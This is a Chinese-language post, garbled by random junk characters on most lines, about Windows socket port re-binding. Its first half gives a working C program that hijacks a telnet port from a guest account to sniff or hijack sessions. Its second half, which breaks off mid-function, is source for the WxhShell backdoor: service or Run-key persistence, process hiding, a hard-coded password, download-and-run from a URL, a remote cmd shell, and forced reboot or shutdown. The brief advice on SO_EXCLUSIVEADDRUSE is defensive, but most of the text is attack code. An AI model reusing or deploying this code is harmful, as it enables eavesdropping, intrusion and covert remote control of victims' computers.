在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^>Vl@cW0uz s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:6gRoMb] }~NM\rm saddr.sin_family = AF_INET;
CCHGd&\Z Nl]_Ie6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
%1mIngW=g (H^)wDb bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
a yYl3 jn
+*G<NJ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
t|urvoz ~6A;H$dr 这意味着什么?意味着可以进行如下的攻击:
Sw.k,p*r !C(U9p. 0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^jbjHI& #<K'RJn 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
LpK? C<?x +~K)
~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
)O],$\u ' !2NSv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
\@[Y~: buldA5*!o 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
R]&lVXyH S5BS![-QK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
L35]'Jua oeYUsnsbi 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
2=
Y8$- w=_q<1a #include
}y1r
yeW< #include
.[r1Qz7G #include
1l5'N=hL #include
+H:}1sT;n DWORD WINAPI ClientThread(LPVOID lpParam);
cG"wj$'w int main()
*(s0X[- {
Cxd^i WORD wVersionRequested;
h,\5C/ DWORD ret;
aX,6y1 WSADATA wsaData;
qeDXG BOOL val;
5O(U1
* SOCKADDR_IN saddr;
Nwj M=GG SOCKADDR_IN scaddr;
u4tv=+jh int err;
Tn"@u&P
* SOCKET s;
wg+[T;0 S SOCKET sc;
j#~ S"t int caddsize;
ov<vSc<u HANDLE mt;
O7]kcA DWORD tid;
@Q7^caG wVersionRequested = MAKEWORD( 2, 2 );
U3jnH err = WSAStartup( wVersionRequested, &wsaData );
}uwZS=pw if ( err != 0 ) {
3*T/ 7\ printf("error!WSAStartup failed!\n");
C|V5@O?;&
return -1;
2# }
EQe$~}[ saddr.sin_family = AF_INET;
SdF+b+P] J%]5C}v \ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1#3eY?Nb K]1|#`n saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
n&!q9CR` saddr.sin_port = htons(23);
~Ede5Vg!!2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#@' B\!<@= {
)(OGo`4Qz printf("error!socket failed!\n");
T/0cPn0> return -1;
U;A,W$<9 }
NoMlTh(O val = TRUE;
v.ow`MO=; //SO_REUSEADDR选项就是可以实现端口重绑定的
O=vD6@QI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
PMi.)%++ {
{Mb2X^@7 printf("error!setsockopt failed!\n");
bXvriQ.UH return -1;
EERCb%M8Z }
JqUft=p5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
0 .UN //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
baBPf{< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Q;ZV`D/FA 2Lytk OMf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
<isU D6TC {
FJqg, ret=GetLastError();
Sz:PeUr9h printf("error!bind failed!\n");
+f$
{r7 return -1;
1,:QrhC }
,k1ns?i9KH listen(s,2);
>7)QdaB while(1)
rmi&{o: {
R_9M-RP6* caddsize = sizeof(scaddr);
]*U+nG //接受连接请求
G5|'uKz2" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
62kA(F0e, if(sc!=INVALID_SOCKET)
XTA:Y7"O {
H2xDC_Fs mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V*r/0|vd if(mt==NULL)
}+}Cl T {
Z<W f/ printf("Thread Creat Failed!\n");
A>,kmU5 break;
~$ Po3]{s }
k%8kt4\wn6 }
M;W&#Fz% CloseHandle(mt);
03AQB;. }
3s?ZyQy closesocket(s);
KYy oN WSACleanup();
Q@|"xKa return 0;
>sdF:(JV& }
#S]O|$&* DWORD WINAPI ClientThread(LPVOID lpParam)
*%\Xw*\0 {
W6`_lGTj SOCKET ss = (SOCKET)lpParam;
A~v[6*~> SOCKET sc;
Y
O|hwhe_ unsigned char buf[4096];
M?Fv'YE SOCKADDR_IN saddr;
Lp3pJE
long num;
MR: H3 DWORD val;
)y6 DWORD ret;
}O+S}Hbwy //如果是隐藏端口应用的话,可以在此处加一些判断
:#\jx
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]<ay_w; saddr.sin_family = AF_INET;
I?nU+t; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6kMEm)YjT saddr.sin_port = htons(23);
3sRI7g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
EiP N44( {
WZjR^6 printf("error!socket failed!\n");
lYS " return -1;
aK(e%Ed t" }
p.<d+S< val = 100;
:?}>Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`9k\~D=D~ {
3''Uxlo\ ret = GetLastError();
A/&u/?*C return -1;
\acGSW
.c }
ny!80I if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8Ht=B,7T {
J*zQ8\f=} ret = GetLastError();
uhv_'Q return -1;
5!wjYQt3 }
cmYzS6f,7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
VD $PoP {
%{UW!/ printf("error!socket connect failed!\n");
zo8&(XS closesocket(sc);
U6o]7j&6 closesocket(ss);
&4%78K\ return -1;
Z2-tDp(I }
&_s^C?x while(1)
}A[5\V^D* {
K{9Vyt9,$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
>L8 &6aU //如果是嗅探内容的话,可以再此处进行内容分析和记录
N/b$S@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~eS/gF? num = recv(ss,buf,4096,0);
a2]>R<M if(num>0)
ILiOEwHS7F send(sc,buf,num,0);
>)Bv>HM else if(num==0)
t?b@l<,s break;
<[T{q
|* num = recv(sc,buf,4096,0);
$VP\Ac,! if(num>0)
/Z~$`!J send(ss,buf,num,0);
EMxMJ= else if(num==0)
>]A#_p break;
>6W #v[ }
7Bd=K=3u closesocket(ss);
n
4cos closesocket(sc);
hQz1zG`z7 return 0 ;
=s*4y$%I }
Q
\SSv;3_ +VJyGbOcC W<TfDEEa ==========================================================
sHV?njZd loHMQKy@ 下边附上一个代码,,WXhSHELL
\4
+HNy3 `,Y3(=3Xe? ==========================================================
rmFcSolt,f 0-uVmlk=/ #include "stdafx.h"
t0?tXe.B E70o nR!i #include <stdio.h>
b_u;
`^ #include <string.h>
bA'N2~., #include <windows.h>
hSN38wy #include <winsock2.h>
><.*5q #include <winsvc.h>
cBU3Q<^ #include <urlmon.h>
t!u>l jLY$P<u?%P #pragma comment (lib, "Ws2_32.lib")
4Me3{!HJ z #pragma comment (lib, "urlmon.lib")
)T&r770 2z AxGX #define MAX_USER 100 // 最大客户端连接数
;!7M<T$& #define BUF_SOCK 200 // sock buffer
b2j~"9 #define KEY_BUFF 255 // 输入 buffer
<xrya_R? S)'&+HamI #define REBOOT 0 // 重启
]US!3R^ #define SHUTDOWN 1 // 关机
AM#s2.@ :QHh;TIG=< #define DEF_PORT 5000 // 监听端口
,g3n/'rP% !/!Fc'A #define REG_LEN 16 // 注册表键长度
E8wkqZN #define SVC_LEN 80 // NT服务名长度
L$"pk{' a]6dhQ` // 从dll定义API
>svx
8CT typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1zCgPiAem typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
79k+R9m typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
P?jI:'u!R. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
NF-@Q@ 4af^SZ)l // wxhshell配置信息
`D$RL*C;M` struct WSCFG {
^X"x,8}&V int ws_port; // 监听端口
A!uiM*"W char ws_passstr[REG_LEN]; // 口令
Jp_ :.4 int ws_autoins; // 安装标记, 1=yes 0=no
r
Cz,XYV char ws_regname[REG_LEN]; // 注册表键名
+CXq41g"c char ws_svcname[REG_LEN]; // 服务名
(.wR!l#! char ws_svcdisp[SVC_LEN]; // 服务显示名
=.):tGDp char ws_svcdesc[SVC_LEN]; // 服务描述信息
}^b char ws_passmsg[SVC_LEN]; // 密码输入提示信息
M6V^ur 1 int ws_downexe; // 下载执行标记, 1=yes 0=no
Kw:%B|B<T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/1bQ
RI^\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5Q8s{WQ C}pQFL{B5 };
2r]o>X Ysw&J}6e // default Wxhshell configuration
sv#b5,>9 struct WSCFG wscfg={DEF_PORT,
s"2+H}u "xuhuanlingzhe",
g0IvcA 1,
VCIV*5
P "Wxhshell",
I=
cayR "Wxhshell",
PIoBK CJ "WxhShell Service",
^V]IPGV "Wrsky Windows CmdShell Service",
-[h|*G.J "Please Input Your Password: ",
M=4b 1,
TZ}y%iU:mB "
http://www.wrsky.com/wxhshell.exe",
m}>Q#IVZ "Wxhshell.exe"
$U)nrni };
fhC| =0XB 8KKhD$ // 消息定义模块
_kBx2>qQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Jc` tOp5 char *msg_ws_prompt="\n\r? for help\n\r#>";
x0%@u^BF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
xX Dj4j, char *msg_ws_ext="\n\rExit.";
0h{&k7T<7 char *msg_ws_end="\n\rQuit.";
GNHW bC6_m char *msg_ws_boot="\n\rReboot...";
OsRizcgdA char *msg_ws_poff="\n\rShutdown...";
IP)%y%ycw char *msg_ws_down="\n\rSave to ";
I%B\Wy/j^ UA*Kuad char *msg_ws_err="\n\rErr!";
K `A8N char *msg_ws_ok="\n\rOK!";
mHH>qW{` .*J /F$ char ExeFile[MAX_PATH];
f9)0OHa int nUser = 0;
a(G}< HANDLE handles[MAX_USER];
`lt[Q>Z int OsIsNt;
%u2",eHCB 4[Wwm SERVICE_STATUS serviceStatus;
,pVe@ d' SERVICE_STATUS_HANDLE hServiceStatusHandle;
sk3AwG;A Pa$"c?QUy // 函数声明
::-*~CH) int Install(void);
9kbczL^Y
int Uninstall(void);
6fCHd10! int DownloadFile(char *sURL, SOCKET wsh);
M 5`hMfg int Boot(int flag);
Oq)7XL4 void HideProc(void);
x,fL656t int GetOsVer(void);
WSGho(\ int Wxhshell(SOCKET wsl);
k<NxI\s8] void TalkWithClient(void *cs);
.S4%Q9l int CmdShell(SOCKET sock);
GLMpWD`Wo int StartFromService(void);
Dz8aJ6g int StartWxhshell(LPSTR lpCmdLine);
}KEr@h,N *u < ZQq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
+/" \.wYv VOID WINAPI NTServiceHandler( DWORD fdwControl );
bU/YU0ZIT 'T;;-M3* // 数据结构和表定义
h
R6Pj"@0 SERVICE_TABLE_ENTRY DispatchTable[] =
Ry? f; s {
~mv5{C {wscfg.ws_svcname, NTServiceMain},
^ohIJcI- {NULL, NULL}
ksUF(lYk };
Q^* 33 ^uPg71r: // 自我安装
dfZ`M^NU int Install(void)
s .+`"rK {
ofPv?_@ char svExeFile[MAX_PATH];
Gi*_ & HKEY key;
s=556 strcpy(svExeFile,ExeFile);
8NTE`l=>/ /w2-Pgm-[\ // 如果是win9x系统,修改注册表设为自启动
Zq5~M bldh if(!OsIsNt) {
=1<v1s|)q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<Pi#-r., RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
SDVnyT RegCloseKey(key);
QGE0pWL-a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Dv&K3^~Rfb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
z<.?8bd RegCloseKey(key);
M5L /3qLh1 return 0;
&
x_
#zN] }
tf[)| /M }
G&"O)$h }
{faIyKtW else {
&:1q3gDm ~R50-O // 如果是NT以上系统,安装为系统服务
<y&&{*KW8m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]b:>7_la if (schSCManager!=0)
NOKU2d4 G {
@[Q`k=h$ SC_HANDLE schService = CreateService
9PMIF9" (
'g3T'2"`5 schSCManager,
mkl^2V13~ wscfg.ws_svcname,
@7KG0<]h wscfg.ws_svcdisp,
$g/h=w@ SERVICE_ALL_ACCESS,
m(0X_&&?z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
M}Xf<:g) SERVICE_AUTO_START,
FYK`.>L28 SERVICE_ERROR_NORMAL,
5L_`Fw\l svExeFile,
v G9>e&Be NULL,
7R# }AQ NULL,
HxcL3Bh$~} NULL,
`*D"=5G+ NULL,
m;t&P58f NULL
+'nMy"j1 );
(OA4H1DL^ if (schService!=0)
)4m`Ya,E3 {
d`=LZio CloseServiceHandle(schService);
BRM!g9 CloseServiceHandle(schSCManager);
4u"Bll strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
D2=zrU3Y64 strcat(svExeFile,wscfg.ws_svcname);
b};o: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
+T8MQ[(4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
EdkIT|c{ RegCloseKey(key);
z,4 D'F& return 0;
(.VS&Kv#U }
ou-uZ"$,c }
}}D32TVN CloseServiceHandle(schSCManager);
e`OQ6|.k8 }
tw&v@HUP }
5$+ssR_?k F\|4zM return 1;
=%7s0l3z }
P{yb%@I~J , 2xv // 自我卸载
N"suR}9% int Uninstall(void)
'2ZvK {
j4+Px%sW HKEY key;
JodD6;P Ks@cwY if(!OsIsNt) {
;_2+Y^Qb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
QR _h#N2h RegDeleteValue(key,wscfg.ws_regname);
u05Yy&(f RegCloseKey(key);
Vxu V`Plf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$mh\` RegDeleteValue(key,wscfg.ws_regname);
D9?.Ru0. RegCloseKey(key);
=I@I return 0;
]V_A4Df }
:2&"ak>N }
ODhq
`?(N }
xwi6#> else {
c+ByEP4EG x~wS/y
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
-a &<Un/ if (schSCManager!=0)
4e#$-V {
$/B~ bJC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
l;L_A@B< if (schService!=0)
Pg{1' - {
.T3 m%n if(DeleteService(schService)!=0) {
T ~(Sc'8 CloseServiceHandle(schService);
KIag(!& CloseServiceHandle(schSCManager);
Wpi35JrC return 0;
[uLsM<C }
o:fe`#t CloseServiceHandle(schService);
RAP-vVh/C }
CxZh^V8LP CloseServiceHandle(schSCManager);
zsJermF,O }
>]z^.U7= }
%W)pZN} $(Mz@#% return 1;
F=
%A9b_a }
?Ve IlD `fTM/" // 从指定url下载文件
,"XiI$Le int DownloadFile(char *sURL, SOCKET wsh)
9 fYNSr {
3RT\G0?8f HRESULT hr;
*8/Xh)B; char seps[]= "/";
lg~7[=%k# char *token;
$|.8@
nj char *file;
^B%=P char myURL[MAX_PATH];
qq]Iy= char myFILE[MAX_PATH];
X<P
<-e9 x|(pmqIH+ strcpy(myURL,sURL);
\ "$$c token=strtok(myURL,seps);
)<:TpMdUk while(token!=NULL)
.\glNH1d {
T9H*]LxK file=token;
L/V^ #$ token=strtok(NULL,seps);
});Rjg }
F!wz{i6\h oSC'b% GetCurrentDirectory(MAX_PATH,myFILE);
=@?[.` strcat(myFILE, "\\");
%&|
uT strcat(myFILE, file);
R]iV;j| send(wsh,myFILE,strlen(myFILE),0);
,1$F#Eh send(wsh,"...",3,0);
`+"(GaZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
y{>f^S< if(hr==S_OK)
gJ'pwSA return 0;
@2)nhW/z6 else
%dFJ'[jDL return 1;
Qop,~yK ABX%oZ7[|o }
J5I@*f)l dkZe.pv$j // 系统电源模块
>m,hna]RZ int Boot(int flag)
|uqI}6h. {
9ziFjP+1 HANDLE hToken;
<78|~SKAV TOKEN_PRIVILEGES tkp;
$2?AJ/2r$b 0!_?\)X if(OsIsNt) {
#e|o"R;/` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2 HEU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
dD=$$(
je tkp.PrivilegeCount = 1;
a3tcLd|7J tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
89g
a+#7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
JfIXv if(flag==REBOOT) {
MK=oGzK if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0lg$zi x( return 0;
H.@$#D }
~\jP+[>M' else {
V0>X2&.A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>8>!wi9U return 0;
,=P&{38\q }
=GPXuo }
L(VFzPkY% else {
d8wVhZKI" if(flag==REBOOT) {
&aLTy&8Fv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
D}98ZKi return 0;
30!DraW8 }
(WyNO QO' else {
e~N&?^M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8(L$a1#5W return 0;
25$_tZPAI }
G?1GkR }
5@w6pda &*=!B9OBI return 1;
U]=yCEb8p }
o@e/P;E d_@
E4i // win9x进程隐藏模块
f^uiZb void HideProc(void)
WiS3W;
{
$3^M-w YsVmU HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
](w)e
p~;3 if ( hKernel != NULL )
XB7Aa) {
kGYpJg9= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
0Z1ksfLU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ES~b f FreeLibrary(hKernel);
.h-mFcjy }
9|1msg4 $r/$aq=K return;
}qn>#ETi }
.N X9Ab G%
tlV&In // 获取操作系统版本
$[>{s9E int GetOsVer(void)
,|:.0g[n {
qzUiBwUi@ OSVERSIONINFO winfo;
y2jv84
M winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_O`p (6 GetVersionEx(&winfo);
h0tiWHw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
P R%)3 return 1;
)@NFV*@I else
i1vz{Tc return 0;
d4S4
e }
.<%tu 0 &B{zS K$N // 客户端句柄模块
Qn*l,Z]US int Wxhshell(SOCKET wsl)
-V/y~/]J {
^k=<+*9 SOCKET wsh;
o$*(N struct sockaddr_in client;
<fvu)
f
DWORD myID;
Nw*<e ]uD FEjO}lTK while(nUser<MAX_USER)
*7xcwjeP {
oy^-?+ int nSize=sizeof(client);
$hhXsu= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
0cS$S Mn{ if(wsh==INVALID_SOCKET) return 1;
U>2KjZB 9 C[~*,qx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Nk7y2[ if(handles[nUser]==0)
cRLw)"| closesocket(wsh);
,HZ%q]*:~ else
|?T=4~b
nUser++;
ihrf/b }
fDy*dp4z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
uy{O 46>rvy.r return 0;
zPaubqB }
CvU$Fsb ?Y4 +3`\x // 关闭 socket
x%viCkq void CloseIt(SOCKET wsh)
4z<c8
E8 {
xMjhC;i{ closesocket(wsh);
<_YdN)x nUser--;
rN}pi@ ExitThread(0);
&
kC }
3FiK/8mu /vSGmW-* // 客户端请求句柄
`K{} void TalkWithClient(void *cs)
1>Sfv|ZP, {
)'+[,z ;s 2;v:Z^& SOCKET wsh=(SOCKET)cs;
xX<f4H\' char pwd[SVC_LEN];
EO !,rB7I char cmd[KEY_BUFF];
t2dsYU/ char chr[1];
sX1DbEjj[o int i,j;
9JA@m w"'
Pn`T while (nUser < MAX_USER) {
|T<aWZb^= :h(HKMSk1 if(wscfg.ws_passstr) {
?X|)0o if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[MIgQ.n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Y_%:%J //ZeroMemory(pwd,KEY_BUFF);
xuXPVJdi i=0;
<XLae'R while(i<SVC_LEN) {
$g>bp<9v4 syX?O'xJ // 设置超时
DTezG': fd_set FdRead;
&|Gg46P7 struct timeval TimeOut;
o/{`\4 FD_ZERO(&FdRead);
spa:5]B FD_SET(wsh,&FdRead);
6e ?xu8| TimeOut.tv_sec=8;
?|5M'o|9 TimeOut.tv_usec=0;
PPXwmR int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2.^{4 1: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r&LZH.$oh v'hc-Q9+> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
0D,@^vw bK pwd
=chr[0]; ZXnacc~s
if(chr[0]==0xd || chr[0]==0xa) { u"0{)
,
pwd=0; al[^pPKZ
break; i@rtt
M
} Mq0MtC6-
i++; p/Ul[7A4e
} KU8,8:yY
@aS)=|Ls\
// 如果是非法用户,关闭 socket PysDDU}v
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fu!T4{2
} w9|x{B
c+FTt(\8.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .n7@$kq
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q:P)g#suc
%6Gg&Y$j!
while(1) { _HwA%=>7
~R|9|k
ZeroMemory(cmd,KEY_BUFF); Tt: (l/1
2;Z
0pPR&
// 自动支持客户端 telnet标准 r?DCR\Jq
j=0; _^_3>}y5op
while(j<KEY_BUFF) { og";mC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xT>9ZZcE
cmd[j]=chr[0]; V|YQhd0kv
if(chr[0]==0xa || chr[0]==0xd) { 89M'klZ
cmd[j]=0; zmhc\M?z
break; &{j!!LL
} ?M:>2wl
j++; m7k }k)
} fqI67E$59
MFq?mZ,
// 下载文件 aU6l>G`w
if(strstr(cmd,"http://")) { ]wid;<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); h7Uj "qH
if(DownloadFile(cmd,wsh)) ?s2-iuMPd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZUS-4'"$
else Oi\ s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /si<Fp)z
} ?|ZbQz(bL
else { Ck/44Wfej
fTj@/"a
switch(cmd[0]) { gXI-{R7Me
jRg/N_2'2
// 帮助 i|{psA
case '?': { ZLzc\>QX
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [63\2{_^v
break; y`oj\
} (u tP@d^
// 安装 z|Y54o3
case 'i': { =w3A{h"^
if(Install()) ^iONC&r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0`E G-Hw
else 0d+n[Go+S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f&CQn.K"
break; O[d#-0s
} 1%_RXQVG
// 卸载 i
bzY&f
case 'r': { l>;hQ h
if(Uninstall()) 4$iS@o|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (xG%H:6,
else "mQp#d/'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a]p9[Nk
break; *)RKU),3nL
} >N#Nz
0|(
// 显示 wxhshell 所在路径 {@2+oOuYfN
case 'p': { B .y}S
char svExeFile[MAX_PATH]; /xUF@%rT
strcpy(svExeFile,"\n\r"); Q\4tzb]
strcat(svExeFile,ExeFile); E3 % ~!ZC
send(wsh,svExeFile,strlen(svExeFile),0); brmSJ7
break; \a+Q5g
} Ue
\A ,
// 重启 JtO}i{A
case 'b': { },d^y:m
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CT'4.
if(Boot(REBOOT)) g(pr.Dw6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (#y2RF8j
else { g7! LX[
closesocket(wsh); :fj>JF\[
ExitThread(0); vD8pVR+
} %%K3J<5
break; [yMSCCswW
} KKsVZ~<6u
// 关机 ^N^G?{EV/#
case 'd': { sUlf4<_zW
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [2,D] e
if(Boot(SHUTDOWN)) I/w;4!+)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }K?b2 6`
else { ;t*SG*Vi
closesocket(wsh); 8=$X hC
ExitThread(0); QKjn/%l"@
} GeJ}myD O
break; s'yR2JYv
} 2Vti|@JYp
// 获取shell Jk%5Fw0
case 's': { C&yZ` [K
CmdShell(wsh); d 0B`5#4
closesocket(wsh); Y$>NsgQn6
ExitThread(0); <-.@,HQ+
break; sl-wNIQ
} :h(RS ;
// 退出 i[[.1MnS
case 'x': { (nO2+@!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K+|XI|1p
CloseIt(wsh); pyV`O[
break; aB6/-T+u
} f_)#
// 离开 el2Wk@*
case 'q': { &?y@`',a0{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ub\^3f
closesocket(wsh); w<H2#d>5!@
WSACleanup(); w=]A;GgA
exit(1); [z"E"_r~%Y
break; dDA8IW![S
} @&G}'6vF!
} Vz0(D
} D]_6OlIE#'
<cOjtq,0
// 提示信息 {XIpHr
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *` mxv0w~(
} q6pHL
} 8KJ`+"<=@
' ds2\gN
return; K&&T:'=/
} 3ibQbk
{X<g93
// shell模块句柄 j5D Cc,s
int CmdShell(SOCKET sock) C7F\Y1Wj
{ OCu_v%G0
STARTUPINFO si; 1Du5Z9AM
ZeroMemory(&si,sizeof(si)); "Bwz
Fh
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4!Radl3`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l 7uTk5
PROCESS_INFORMATION ProcessInfo; 9n is8
char cmdline[]="cmd"; x"sbm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D7nK"]HG;l
return 0; O[= L#wi
} 8Tg1 >q<
K !ILO
// 自身启动模式 @?e~l:g})g
int StartFromService(void) y0Gblza
{ c$,1j%[)
typedef struct p@O Ip
{ omg#[
DWORD ExitStatus; Yr"Of*VNH
